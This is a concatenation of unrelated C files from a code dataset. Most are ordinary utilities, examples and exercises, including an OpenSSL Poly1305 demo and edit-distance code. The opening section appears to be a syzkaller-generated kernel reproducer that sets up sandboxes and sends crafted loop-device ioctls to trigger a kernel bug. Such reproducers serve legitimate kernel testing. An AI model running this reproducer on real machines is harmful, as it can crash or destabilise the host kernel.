"cpuset,cpuacct,perf_event,hugetlb")) {
}
write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_cgroups_loop()
{
int pid = getpid();
char file[128];
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
write_file(file, "32");
snprintf(file, sizeof(file), "%s/memory.low", cgroupdir);
write_file(file, "%d", 298 << 20);
snprintf(file, sizeof(file), "%s/memory.high", cgroupdir);
write_file(file, "%d", 299 << 20);
snprintf(file, sizeof(file), "%s/memory.max", cgroupdir);
write_file(file, "%d", 300 << 20);
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
}
static void setup_cgroups_test()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.cpu")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.net")) {
}
}
static void setup_binfmt_misc()
{
if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) {
}
write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:");
write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:\x02::./file0:POC");
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
setup_cgroups();
setup_binfmt_misc();
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
sandbox_common();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
initialize_tun();
initialize_netdevices();
loop();
exit(1);
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
retry:
while (umount2(dir, MNT_DETACH) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
while (umount2(filename, MNT_DETACH) == 0) {
}
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0)
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
if (umount2(filename, MNT_DETACH))
exit(1);
}
}
closedir(dp);
int i;
for (i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0)
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, MNT_DETACH))
exit(1);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
#define SYZ_HAVE_SETUP_LOOP 1
static void setup_loop()
{
setup_cgroups_loop();
checkpoint_net_namespace();
}
#define SYZ_HAVE_RESET_LOOP 1
static void reset_loop()
{
reset_net_namespace();
}
#define SYZ_HAVE_SETUP_TEST 1
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setup_cgroups_test();
write_file("/proc/self/oom_score_adj", "1000");
flush_tun();
}
#define SYZ_HAVE_CLOSE_FDS 1
static void close_fds()
{
int fd;
for (fd = 3; fd < 30; fd++)
close(fd);
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
setup_loop();
int iter;
for (iter = 0;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
close_fds();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void execute_one(void)
{
long res = 0;
NONFAILING(memcpy((void*)0x20000000, "/dev/loop#\000", 11));
res = syz_open_dev(0x20000000, 0, 0x1100082);
if (res != -1)
r[0] = res;
NONFAILING(memcpy((void*)0x20000080,
"t\bnu\000\000\000\000\000\000\000\000\000\214\000", 15));
res = syscall(__NR_memfd_create, 0x20000080, 0);
if (res != -1)
r[1] = res;
syscall(__NR_ioctl, r[0], 0x4c00, r[1]);
NONFAILING(*(uint64_t*)0x20000440 = 0);
NONFAILING(*(uint64_t*)0x20000448 = 0);
NONFAILING(*(uint64_t*)0x20000450 = 0);
NONFAILING(*(uint64_t*)0x20000458 = 0);
NONFAILING(*(uint64_t*)0x20000460 = 0);
NONFAILING(*(uint32_t*)0x20000468 = 0);
NONFAILING(*(uint32_t*)0x2000046c = 0);
NONFAILING(*(uint32_t*)0x20000470 = 0xa);
NONFAILING(*(uint32_t*)0x20000474 = 0xfffffffd);
NONFAILING(
memcpy((void*)0x20000478,
"\x7e\x66\x66\x32\xb1\x66\x1e\x2c\xc3\x67\xc5\xb5\x3c\x91\x00\xa9"
"\x0e\x06\x00\x00\x00\x00\x00\x00\x00\xcc\x30\x4f\xaa\x76\x69\xac"
"\x1d\x76\x39\x12\x8f\xd8\x43\xef\x25\xcd\x5e\xf7\xec\x56\x52\xd8"
"\xe5\x39\x6b\x12\x51\xe3\x4a\x75\x57\x2b\x5f\xb2\xe8\x67\xa7\x5c",
64));
NONFAILING(
memcpy((void*)0x200004b8,
"\x93\x4b\x88\x26\x7a\x54\x4a\xc6\x39\x57\x86\x95\x20\x6c\xdb\x27"
"\x08\x1a\x77\x00\x82\x84\x6c\x36\xfb\x6f\xc0\x32\x9c\xc0\xd1\xb6"
"\xf0\xea\x8f\xbe\x94\xd4\x92\xcf\x9f\x39\x22\xbe\x4e\xbd\xfd\x78"
"\x9a\xf1\xb4\x74\x0e\x77\x93\xe9\x03\xb4\x31\x9d\x99\xb0\x68\x69",
64));
NONFAILING(
memcpy((void*)0x200004f8,
"\x94\x7c\x30\xd6\x52\x11\xdc\x1a\xa0\xa7\xae\x81\xdf\xfe\x26\x95"
"\xf8\x96\x39\x31\x74\x74\xcd\x08\x00\x00\x00\x00\x00\x00\x00\x00",
32));
NONFAILING(*(uint64_t*)0x20000518 = 0);
NONFAILING(*(uint64_t*)0x20000520 = 0);
syscall(__NR_ioctl, r[0], 0x4c04, 0x20000440);
}
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
install_segv_handler();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
use_temporary_dir();
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/18918.c | #include <stdio.h>
#include <unistd.h>
#include <wait.h>
#include <stdlib.h>
void print_error(int status) {
if(status == -1) {
perror("Error!");
exit(-1);
}
}
int main(int argc, char* argv[]) {
if(argc < 2) {
return -1;
}
int pid = fork();
print_error(pid);
if (pid == 0) {
int error = execvp(argv[1], argv + 1);
print_error(error);
} else {
int child_exit_code;
int ret_pid = wait(&child_exit_code);
print_error(ret_pid);
printf("Child process %d ", pid);
if(WIFEXITED(child_exit_code)) {
printf("exited with code %d\n", WEXITSTATUS(child_exit_code));
} else if(WIFSIGNALED(child_exit_code)) {
printf("was interrupted with signal %d\n", WTERMSIG(child_exit_code));
}
}
return 0;
} |
the_stack_data/56794.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
//#region TAIL FACTORIAL
/**
* Factorial function with tail impementation
* @param n number entered
* @param tail tail init value
* @return factorial of n
*/
unsigned long long factorialTail(unsigned long long n, unsigned long long tail) {
return n == 0 ? tail : factorialTail(n-1, n * tail);
}
//#endregion
//#region NEXT PRIME
/**
* Finds the next prime after n
* @param n number entered
* @return next prime number
*/
unsigned long long nextPrime(unsigned long long n) {
// quantity of divisors
int div = 0;
// only breaks when div = 1, which means only was divided by 1
while(div != 1) {
// resets div every run
div = 0;
// increments number
n++;
// see quantity of divisors in n
for (unsigned long long i = 1; i < n; i++) {
if (n % i == 0) {
div++;
}
}
}
return n;
}
//#endregion
//#region PRIME OMEGA FUNCTION
/**
* prime omega function in math
* @param n
* @return number of different prime divisors
*/
unsigned long long primeOmegaFunction(unsigned long long n) {
// sets the size of the primediv array, and second n for verification
unsigned long long size = 0,nlast = n;
// array of prime numbers
unsigned long long *primediv;
// executes until n is fully factored
while(n != 1) {
// verifies if size is 0, first case
if(size == 0) {
// sets size of primediv to 1, and first primediv[0] first prime number
primediv = (unsigned long long *) calloc(++size, sizeof(unsigned long long));
primediv[0] = 2;
// verifies if n is divisible by current prime number
}else if(n % primediv[size - 1] == 0) {
// divides n
n /= primediv[size - 1];
// if n is not divisible then verifies if n was actually divided or not
} else if(nlast != n){
// resizes primediv for next number
primediv = (unsigned long long *) realloc(primediv, ++size * sizeof(unsigned long long));
// adds next prime number in the next element
primediv[size - 1] = nextPrime(primediv[size - 2]);
nlast = n;
// case n wasn't divided means n is not factorable by current number
} else {
// updates prime number without changing size
primediv[size - 1] = nextPrime(primediv[size - 1]);
}
}
// frees the memory used
free(primediv);
return size;
}
//#endregion
//#region FIND DIVISORS FUNCTION
/**
* Function to find number of divisors or particullar divisor,
* in decremental order,
* ex.: if n = 6 returns 6 when n_div = 1,3 when n_div = 2,...
* @param n number
* @param n_div number of divisor, 0 equals to find all divisors
* @return number of divisors of n or particullar divisor of n
*/
unsigned long long findDivisorsFunction(unsigned long long n, int n_div) {
// number of divisors of n
unsigned long long div = 0;
for(int i = 1; i <= n; i++) {
// verifies if n is divisible by i
if(n % i == 0) {
// increments divisor
div++;
// what n_div == 0 means is to find all divisors
if(n_div == 0)
continue;
// if n_div != 0 means to find n_div divisor
else if(n_div == div)
return i;
}
}
return div;
}
//#endregion
//#region SUMMATORY SPECIAL FUNCTION
unsigned long long summatorySpecialFunction(unsigned long long n) {
unsigned long long sum = 0;
for (int i = 1; i <= n; i++) {
for (unsigned long long j = findDivisorsFunction(i, 0); j > 0; j--) {
sum += pow(findDivisorsFunction(i, j), 2);
}
}
return sum;
}
//#endregion
//#region SUMMATORY FUNCTION
/**
* summatory function with max, min and summatory method defined
* @param n start number
* @param summatory_function
* @param max number max
* @return the sum of n to max based on the function
*/
unsigned long long summatoryFunction(unsigned long long n,
long long (*summatory_function)(void *),
unsigned long long max) {
unsigned long long sum = 0;
for(unsigned long long i = n; i < max; i++) {
sum += (*summatory_function)(&i);
}
return sum;
}
//#endregion
int main() {
for(int i = 1; i < 16; i++)
printf("%lld\n",summatorySpecialFunction(pow(10,i)));
return 0;
}
|
the_stack_data/18888353.c | /*
* Copyright 2021-2022 The OpenSSL Project Authors. All Rights Reserved.
*
* Licensed under the Apache License 2.0 (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/core_names.h>
#include <openssl/evp.h>
#include <openssl/params.h>
#include <openssl/err.h>
/*
* This is a demonstration of how to compute Poly1305-AES using the OpenSSL
* Poly1305 and AES providers and the EVP API.
*
* Please note that:
*
* - Poly1305 must never be used alone and must be used in conjunction with
* another primitive which processes the input nonce to be secure;
*
* - you must never pass a nonce to the Poly1305 primitive directly;
*
* - Poly1305 exhibits catastrophic failure (that is, can be broken) if a
* nonce is ever reused for a given key.
*
* If you are looking for a general purpose MAC, you should consider using a
* different MAC and looking at one of the other examples, unless you have a
* good familiarity with the details and caveats of Poly1305.
*
* This example uses AES, as described in the original paper, "The Poly1305-AES
* message authentication code":
* https://cr.yp.to/mac/poly1305-20050329.pdf
*
* The test vectors below are from that paper.
*/
/*
* Hard coding the key into an application is very bad.
* It is done here solely for educational purposes.
* These are the "r" and "k" inputs to Poly1305-AES.
*/
static const unsigned char test_r[] = {
0x85, 0x1f, 0xc4, 0x0c, 0x34, 0x67, 0xac, 0x0b,
0xe0, 0x5c, 0xc2, 0x04, 0x04, 0xf3, 0xf7, 0x00
};
static const unsigned char test_k[] = {
0xec, 0x07, 0x4c, 0x83, 0x55, 0x80, 0x74, 0x17,
0x01, 0x42, 0x5b, 0x62, 0x32, 0x35, 0xad, 0xd6
};
/*
* Hard coding a nonce must not be done under any circumstances and is done here
* purely for demonstration purposes. Please note that Poly1305 exhibits
* catastrophic failure (that is, can be broken) if a nonce is ever reused for a
* given key.
*/
static const unsigned char test_n[] = {
0xfb, 0x44, 0x73, 0x50, 0xc4, 0xe8, 0x68, 0xc5,
0x2a, 0xc3, 0x27, 0x5c, 0xf9, 0xd4, 0x32, 0x7e
};
/* Input message. */
static const unsigned char test_m[] = {
0xf3, 0xf6
};
static const unsigned char expected_output[] = {
0xf4, 0xc6, 0x33, 0xc3, 0x04, 0x4f, 0xc1, 0x45,
0xf8, 0x4f, 0x33, 0x5c, 0xb8, 0x19, 0x53, 0xde
};
/*
* A property query used for selecting the POLY1305 implementation.
*/
static char *propq = NULL;
int main(int argc, char **argv)
{
int rv = EXIT_FAILURE;
EVP_CIPHER *aes = NULL;
EVP_CIPHER_CTX *aesctx = NULL;
EVP_MAC *mac = NULL;
EVP_MAC_CTX *mctx = NULL;
unsigned char composite_key[32];
unsigned char out[16];
OSSL_LIB_CTX *library_context = NULL;
size_t out_len = 0;
int aes_len = 0;
library_context = OSSL_LIB_CTX_new();
if (library_context == NULL) {
fprintf(stderr, "OSSL_LIB_CTX_new() returned NULL\n");
goto end;
}
/* Fetch the Poly1305 implementation */
mac = EVP_MAC_fetch(library_context, "POLY1305", propq);
if (mac == NULL) {
fprintf(stderr, "EVP_MAC_fetch() returned NULL\n");
goto end;
}
/* Create a context for the Poly1305 operation */
mctx = EVP_MAC_CTX_new(mac);
if (mctx == NULL) {
fprintf(stderr, "EVP_MAC_CTX_new() returned NULL\n");
goto end;
}
/* Fetch the AES implementation */
aes = EVP_CIPHER_fetch(library_context, "AES-128-ECB", propq);
if (aes == NULL) {
fprintf(stderr, "EVP_CIPHER_fetch() returned NULL\n");
goto end;
}
/* Create a context for AES */
aesctx = EVP_CIPHER_CTX_new();
if (aesctx == NULL) {
fprintf(stderr, "EVP_CIPHER_CTX_new() returned NULL\n");
goto end;
}
/* Initialize the AES cipher with the 128-bit key k */
if (!EVP_EncryptInit_ex(aesctx, aes, NULL, test_k, NULL)) {
fprintf(stderr, "EVP_EncryptInit_ex() failed\n");
goto end;
}
/*
* Disable padding for the AES cipher. We do not strictly need to do this as
* we are encrypting a single block and thus there are no alignment or
* padding concerns, but this ensures that the operation below fails if
* padding would be required for some reason, which in this circumstance
* would indicate an implementation bug.
*/
if (!EVP_CIPHER_CTX_set_padding(aesctx, 0)) {
fprintf(stderr, "EVP_CIPHER_CTX_set_padding() failed\n");
goto end;
}
/*
* Computes the value AES_k(n) which we need for our Poly1305-AES
* computation below.
*/
if (!EVP_EncryptUpdate(aesctx, composite_key + 16, &aes_len,
test_n, sizeof(test_n))) {
fprintf(stderr, "EVP_EncryptUpdate() failed\n");
goto end;
}
/*
* The Poly1305 provider expects the key r to be passed as the first 16
* bytes of the "key" and the processed nonce (that is, AES_k(n)) to be
* passed as the second 16 bytes of the "key". We already put the processed
* nonce in the correct place above, so copy r into place.
*/
memcpy(composite_key, test_r, 16);
/* Initialise the Poly1305 operation */
if (!EVP_MAC_init(mctx, composite_key, sizeof(composite_key), NULL)) {
fprintf(stderr, "EVP_MAC_init() failed\n");
goto end;
}
/* Make one or more calls to process the data to be authenticated */
if (!EVP_MAC_update(mctx, test_m, sizeof(test_m))) {
fprintf(stderr, "EVP_MAC_update() failed\n");
goto end;
}
/* Make one call to the final to get the MAC */
if (!EVP_MAC_final(mctx, out, &out_len, sizeof(out))) {
fprintf(stderr, "EVP_MAC_final() failed\n");
goto end;
}
printf("Generated MAC:\n");
BIO_dump_indent_fp(stdout, out, out_len, 2);
putchar('\n');
if (out_len != sizeof(expected_output)) {
fprintf(stderr, "Generated MAC has an unexpected length\n");
goto end;
}
if (CRYPTO_memcmp(expected_output, out, sizeof(expected_output)) != 0) {
fprintf(stderr, "Generated MAC does not match expected value\n");
goto end;
}
rv = EXIT_SUCCESS;
end:
EVP_CIPHER_CTX_free(aesctx);
EVP_CIPHER_free(aes);
EVP_MAC_CTX_free(mctx);
EVP_MAC_free(mac);
OSSL_LIB_CTX_free(library_context);
if (rv != EXIT_SUCCESS)
ERR_print_errors_fp(stderr);
return rv;
}
|
the_stack_data/176707062.c | // hypot_ex.c : hypot() example
// -------------------------------------------------------------
#include <math.h> // double hypot( double x, double y );
// float hypotf( float x, float y );
// long double hypotl( long double x, long double y );
#include <stdio.h>
#include <errno.h>
int main()
{
double x, y, h; // Three sides of a triangle
printf( "How many kilometers do you want to go westward? " );
scanf( "%lf", &x );
printf( "And how many southward? " );
scanf( "%lf", &y );
errno = 0;
h = hypot( x, y );
if ( errno )
perror( __FILE__ );
else
printf( "Then you'll be %4.2lf km from where you started.\n", h );
return 0;
}
|
the_stack_data/943104.c | /*
********************************************************************************
* Copyright (C) 2005-2006, International Business Machines
* Corporation and others. All Rights Reserved.
********************************************************************************
*/
#include "unicode/utypes.h"
#include "unicode/ucsdet.h"
#include <string.h>
#include <stdio.h>
#define BUFFER_SIZE 8192
int main(int argc, char *argv[])
{
static char buffer[BUFFER_SIZE];
int32_t arg;
if( argc <= 1 ) {
printf("Usage: %s [filename]...\n", argv[0]);
return -1;
}
for(arg = 1; arg < argc; arg += 1) {
FILE *file;
char *filename = argv[arg];
int32_t inputLength, match, matchCount = 0;
UCharsetDetector* csd;
const UCharsetMatch **csm;
UErrorCode status = U_ZERO_ERROR;
if (arg > 1) {
printf("\n");
}
file = fopen(filename, "rb");
if (file == NULL) {
printf("Cannot open file \"%s\"\n\n", filename);
continue;
}
printf("%s:\n", filename);
inputLength = (int32_t) fread(buffer, 1, BUFFER_SIZE, file);
fclose(file);
csd = ucsdet_open(&status);
ucsdet_setText(csd, buffer, inputLength, &status);
csm = ucsdet_detectAll(csd, &matchCount, &status);
for(match = 0; match < matchCount; match += 1) {
const char *name = ucsdet_getName(csm[match], &status);
const char *lang = ucsdet_getLanguage(csm[match], &status);
int32_t confidence = ucsdet_getConfidence(csm[match], &status);
if (lang == NULL || strlen(lang) == 0) {
lang = "**";
}
printf("%s (%s) %d\n", name, lang, confidence);
}
ucsdet_close(csd);
}
return 0;
}
|
the_stack_data/91594.c | #include<stdio.h>
int min(int a, int b, int c) {
int minn = a < b ? a : b;
minn = minn < c ? minn : c;
return minn;
}
int main() {
char kelime1[6] = "sunday";
char kelime2[8] = "saturday";
int table[7][9] = {0};
int n = 6, m = 8;
int i, j;
for (i = 1; i < n + 1; i++) table[i][0] = i;
for (j = 1; j < m + 1; j++) table[0][j] = j;
int substitionCost = 0;
for (j = 1; j <= m; j++) {
for (i = 1; i <= n; i++) {
if (kelime1[i - 1] == kelime2[j - 1]) substitionCost = 0;
else substitionCost = 1;
table[i][j] = min(table[i-1][j] + 1, table[i][j - 1] + 1, table[i-1][j-1] + substitionCost);
}
}
printf("Final table:\n\n");
for (i = 0; i < n + 1; i++) {
for (j = 0; j < m + 1; j++) {
printf("%d ", table[i][j]);
}
printf("\n");
}
printf("\nDifference is: %d", table[n][m]);
return 0;
}
|
the_stack_data/136867.c | /* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main() {
int num1,num2;
float avg;
printf("enter first number:");
scanf("%d",&num1);
printf("enter second number:");
scanf("%d",&num2);
avg=(num1+num2)/2;
printf("average is: %.2f",avg);
return 0;
}
|
the_stack_data/1042453.c | /*
** EPITECH PROJECT, 2021
** my_strrchr.c
** File description:
** the function is almost identical to strchr, it returns the last ocurence.
*/
#include <unistd.h>
char *my_strrchr(const char *string, int searchedChar)
{
char *val = NULL;
do {
if (*string == searchedChar)
val = (char *) string;
} while (*string++);
return (val);
} |
the_stack_data/1065315.c | /*
Author : Arnob Mahmud
mail : [email protected]
*/
#include <stdio.h>
int main(int argc, char const *argv[])
{
int x;
printf("Enter a number : ");
scanf("%d", &x);
/* if (x > 0)
{
printf("Positive");
}
else if (x < 0)
{
printf("Negative");
}
else
{
printf("Zero");
} */
x > 0 ? printf("Positive")
: x < 0 ? printf("Negative")
: printf("Zero");
return 0;
}
|
the_stack_data/132954346.c | /*
* Copyright (c) 2004, University of New South Wales
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* Copyright (c) 2007 Open Kernel Labs, Inc. (Copyright Holder).
* All rights reserved.
*
* 1. Redistribution and use of OKL4 (Software) in source and binary
* forms, with or without modification, are permitted provided that the
* following conditions are met:
*
* (a) Redistributions of source code must retain this clause 1
* (including paragraphs (a), (b) and (c)), clause 2 and clause 3
* (Licence Terms) and the above copyright notice.
*
* (b) Redistributions in binary form must reproduce the above
* copyright notice and the Licence Terms in the documentation and/or
* other materials provided with the distribution.
*
* (c) Redistributions in any form must be accompanied by information on
* how to obtain complete source code for:
* (i) the Software; and
* (ii) all accompanying software that uses (or is intended to
* use) the Software whether directly or indirectly. Such source
* code must:
* (iii) either be included in the distribution or be available
* for no more than the cost of distribution plus a nominal fee;
* and
* (iv) be licensed by each relevant holder of copyright under
* either the Licence Terms (with an appropriate copyright notice)
* or the terms of a licence which is approved by the Open Source
* Initative. For an executable file, "complete source code"
* means the source code for all modules it contains and includes
* associated build and other files reasonably required to produce
* the executable.
*
* 2. THIS SOFTWARE IS PROVIDED ``AS IS'' AND, TO THE EXTENT PERMITTED BY
* LAW, ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
* PURPOSE, OR NON-INFRINGEMENT, ARE DISCLAIMED. WHERE ANY WARRANTY IS
* IMPLIED AND IS PREVENTED BY LAW FROM BEING DISCLAIMED THEN TO THE
* EXTENT PERMISSIBLE BY LAW: (A) THE WARRANTY IS READ DOWN IN FAVOUR OF
* THE COPYRIGHT HOLDER (AND, IN THE CASE OF A PARTICIPANT, THAT
* PARTICIPANT) AND (B) ANY LIMITATIONS PERMITTED BY LAW (INCLUDING AS TO
* THE EXTENT OF THE WARRANTY AND THE REMEDIES AVAILABLE IN THE EVENT OF
* BREACH) ARE DEEMED PART OF THIS LICENCE IN A FORM MOST FAVOURABLE TO
* THE COPYRIGHT HOLDER (AND, IN THE CASE OF A PARTICIPANT, THAT
* PARTICIPANT). IN THE LICENCE TERMS, "PARTICIPANT" INCLUDES EVERY
* PERSON WHO HAS CONTRIBUTED TO THE SOFTWARE OR WHO HAS BEEN INVOLVED IN
* THE DISTRIBUTION OR DISSEMINATION OF THE SOFTWARE.
*
* 3. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR ANY OTHER PARTICIPANT BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
* OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
* IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* Author: Cristan Szmadja
*/
#include <string.h>
/* copy n bytes from s to d; pads with '\0' and may not '\0'-terminate */
char *
strncpy(char *d, const char *s, size_t n)
{
size_t i;
for (i = 0; i < n; i++) {
if ((d[i] = s[i]) == '\0') {
/* pad with NUL */
for (i++; i < n; i++) {
d[i] = '\0';
}
}
}
return d;
}
|
the_stack_data/98576205.c | extern void abort (void);
typedef long fract32;
int main ()
{
fract32 t;
t = __builtin_bfin_shr_fr1x32 (0xc000e4ff, -4);
if (t != 0x80000000)
abort ();
return 0;
}
|
the_stack_data/200143720.c | /*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2015 Intel Corporation. All rights reserved.
